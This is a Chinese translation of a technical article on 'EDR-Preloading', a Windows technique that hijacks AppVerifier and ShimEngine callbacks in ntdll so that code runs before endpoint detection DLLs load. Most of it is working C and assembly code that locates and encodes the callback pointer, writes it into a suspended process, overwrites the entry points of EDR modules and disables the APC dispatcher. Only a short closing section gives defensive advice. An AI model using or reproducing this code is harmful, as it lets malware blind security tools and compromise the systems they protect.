[翻译]-通过EDR预加载来绕过EDR
字数 1253 2025-08-23 18:31:34
EDR预加载绕过技术详解
技术概述
EDR-Preloading是一种通过抢占EDR DLL加载时机来绕过用户层EDR钩子的技术。该技术利用Windows进程初始化过程中的回调机制,在EDR组件加载前执行恶意代码,从而完全阻止EDR运行。
Windows进程加载机制
理解Windows进程初始化流程是掌握此技术的关键:
- 新进程创建时,内核将可执行文件和ntdll.dll映射到内存
- 线程起始地址设置为
ntdll!LdrInitializeThunk() ntdll!LdrpInitialize()执行:- 检查
ntdll!LdrpProcessInitialized标志 - 若为FALSE,调用
ntdll!LdrpInitializeProcess()
- 检查
ntdll!LdrpInitializeProcess()负责:- 设置PEB
- 解析进程导入
- 加载所需DLL
- 最后调用
ntdll!ZwTestAlert()执行APC队列 - 初始化完成后,调用
ntdll!RtlUserThreadStart()执行程序入口点
传统绕过技术及其局限性
早期APC队列(早鸟注入)
- 原理:在EDR之前将APC排入队列
- 问题:
ntdll!NtQueueApcThread()被EDR监控- 向暂停进程排队APC行为高度可疑
TLS回调
- 原理:在
ntdll!LdrpInitializeProcess()末尾执行 - 问题:
- 某些EDR会拦截TLS回调
- 兼容性问题
EDR-Preloading技术实现
技术基础
利用AppVerifier和ShimEngine接口中的回调函数:
ntdll!g_pfnSE_GetProcAddressForCaller(ShimEngine)ntdll!AvrfpAPILookupCallbackRoutine(AppVerifier)
这些回调在LdrGetProcedureAddressForCaller()中被调用,保证在EDR加载前执行。
实现步骤
步骤1:查找AppVerifier回调指针
在Windows 10上,这些指针位于ntdll的.mrdata节:
offset+0x00 - ntdll!LdrpMrdataBase
offset+0x08 - ntdll!LdrpKnownDllDirectoryHandle
offset+0x10 - ntdll!AvrfpAPILookupCallbacksEnabled
offset+0x18 - ntdll!AvrfpAPILookupCallbackRoutine
查找代码示例:
ULONG_PTR find_avrfp_address(ULONG_PTR mrdata_base) {
ULONG_PTR address_ptr = mrdata_base + 0x280;
ULONG_PTR ldrp_mrdata_base = NULL;
for (int i = 0; i < 10; i++) {
if (*(ULONG_PTR*)address_ptr == mrdata_base) {
ldrp_mrdata_base = address_ptr;
break;
}
address_ptr += sizeof(LPVOID);
}
address_ptr = ldrp_mrdata_base;
for (int i = 0; i < 10; i++) {
if (*(ULONG_PTR*)address_ptr == NULL) {
return address_ptr;
}
address_ptr += sizeof(LPVOID);
}
return NULL;
}
步骤2:设置回调函数
- 加密指针(NTDLL指针使用系统cookie加密):
LPVOID encode_system_ptr(LPVOID ptr) {
ULONG cookie = *(ULONG*)0x7FFE0330;
return (LPVOID)_rotr64(cookie ^ (ULONGLONG)ptr, cookie & 0x3F);
}
- 写入进程内存:
// 设置回调指针
LPVOID callback_ptr = encode_system_ptr(&My_LdrGetProcedureAddressCallback);
uint8_t bool_true = 1;
WriteProcessMemory(pi.hProcess, (LPVOID)(avrfp_address+8), &callback_ptr, sizeof(ULONG_PTR), NULL);
WriteProcessMemory(pi.hProcess, (LPVOID)avrfp_address, &bool_true, 1, NULL);
步骤3:中和EDR
- DLL破坏:
void DisablePreloadedEdrModules() {
PEB* peb = NtCurrentTeb()->ProcessEnvironmentBlock;
LIST_ENTRY* list_head = &peb->Ldr->InMemoryOrderModuleList;
LIST_ENTRY* list_entry = list_head->Flink->Flink;
while (list_entry != list_head) {
PLDR_DATA_TABLE_ENTRY2 module_entry = CONTAINING_RECORD(list_entry, LDR_DATA_TABLE_ENTRY2, InMemoryOrderLinks);
// 检查非系统DLL
if (SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"ntdll.dll") != 0 &&
SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"kernel32.dll") != 0 &&
SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"kernelbase.dll") != 0) {
module_entry->EntryPoint = &EdrParadise; // 替换入口点
}
list_entry = list_entry->Flink;
}
}
- 禁用APC调度器:
KiUserApcDispatcher PROC
_loop:
call GetNtContinue
mov rcx, rsp
mov rdx, 1
call rax
jmp _loop
ret
KiUserApcDispatcher ENDP
- 代理LdrLoadDll调用:
NTSTATUS WINAPI LdrLoadDllHook(PWSTR search_path, PULONG dll_characteristics, UNICODE_STRING* dll_name, PVOID* base_address) {
// 可在此处添加DLL过滤逻辑
return OriginalLdrLoadDll(search_path, dll_characteristics, dll_name, base_address);
}
技术优势
- 不需要依赖直接或间接系统调用
- 在EDR加载前执行,完全避免用户层钩子
- 可与其他技术结合使用
限制与注意事项
- 主要针对Windows 10 64位系统(其他版本需要调整)
- 需要精确的内存操作
- 回调执行时环境受限(只能调用ntdll函数)
- 加载程序锁会限制某些操作
防御建议
对于EDR厂商:
- 监控关键回调指针的修改
- 验证自身DLL的完整性
- 使用更低级别的注入技术
- 实现多层次的防护机制
对于系统管理员:
- 启用内核层防护
- 监控可疑的进程创建模式
- 实施应用白名单策略